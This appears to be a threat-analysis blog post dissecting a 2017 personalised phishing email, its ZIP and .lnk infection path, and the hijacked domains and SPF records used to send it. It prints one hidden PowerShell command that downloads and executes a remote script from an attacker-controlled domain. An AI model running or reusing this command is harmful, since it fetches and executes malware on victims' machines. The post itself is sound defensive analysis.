Sent: 14 February 2017 13:52
Subject: Mr [Redacted] Your order G29804772-064 confirmation
Dear Mr [redacted],
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The data in the spam was identifiable as being a few years old. The intended victim does not appear on the haveibeenpwned.com database. My assumption is that this information has been harvested from an undisclosed data breach.
I was not able to extract the final payload, however the infection path is as follows:
This ZIP file actually contains a .lnk file with the following Powershell command embedded in it:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -nologo -c IEX ((New-Object Net.WebClient).DownloadString('http://cristianinho.com/lenty/reasy.ps1'));
I couldn't get a response from the server at cristianinho.com [18.104.22.168 - Redstation, UK], this looks like a possibly legitimate but hijacked domain that uses nameservers belonging to Namecheap. But that's not the only Namecheap connection, because the two "customer" subdomains are also using Namecheap hosting (for the record the subdomains are hosted on - 22.214.171.124 and 126.96.36.199 which is Host1Plus, UK / Digital Energy Technologies, DE).
Three connection to Namecheap is worrying, and certainly we've seen hijacking patterns involving other domain registrars. Or it could just be a coincidence..
The email originated from mx119.argozelo.info on 188.8.131.52 (Hzone, Romania). Just on a hunch, I checked the domain argozelo.info and it appears to be a wholly legitimate site about a Portuguese village, registered at GoDaddy hosted on Blogger. So why does it need a dedicated mail server?
Well.. this particular rabbit hole goes a little deeper. mx119 gives a clue that there might be more than one mailsever, and indeed there are 34 of the critters name mx110.argozelo.info through to mx143.argozelo.info hosted on 184.108.40.206 through 220.127.116.11. But according to Wikipedia, Argozelo only has about 700 inhabitants, so it seems unlikely that they'd need 34 mailservers in Romania.
So, my guess is that argozelo.info has also been hijacked, and hostnames set up for each of the mailservers. But we're not quite finished with this rabbit hole yet. Oh no.
What caught my eye was a mailserver on 18.104.22.168 (the same as mx110.argozelo.info) named mail.localpoolrepair.com which certainly rang a bell because the email was apparently from email@example.com - yeah, OK.. the "From" in an email can be anything but this can't be a coincidence.
localpoolrepair.com appears to be a legitimate but unused GoDaddy-registered domain, hosted at an Athenix facility in the US. So why is there a mailserver in a Romanian IP block? A DIG at the records for this domain are revealing:
Query for localpoolrepair.com type=255 class=1So.. the SPF records are valid for sending servers in the 22.214.171.124 through 126.96.36.199 range. It looks to me as if localpoolrepair.com has been hijacked and these SPF records added to it.
localpoolrepair.com SOA (Zone of Authority)
Primary NS: dns.site5.com
Responsible person: firstname.lastname@example.org
refresh:3600s (60 minutes)
retry:3600s (60 minutes)
expire:604800s (7 days)
minimum-ttl:3600s (60 minutes)
localpoolrepair.com A (Address) 188.8.131.52
localpoolrepair.com MX (Mail Exchanger) Priority: 10 mail.localpoolrepair.com
localpoolrepair.com NS (Nameserver) dns2.site5.com
localpoolrepair.com NS (Nameserver) dns.site5.com
localpoolrepair.com TXT (Text Field)
v=spf1 ip4:184.108.40.206/31 ip4:220.127.116.11/28 ip4:18.104.22.168/29 ip4:22.214.171.124/30 ip4:126.96.36.199/31 ip4:188.8.131.52/32 ~all
So we have hijacked legitimate domains with presumably a neutral or good reputation, and we have valid SPF records. This means that the spam will have decent deliverability. And then the spam itself addresses the victim by name and has personal details presumably stolen in a data breach. Could you trust yourself not to click the link?
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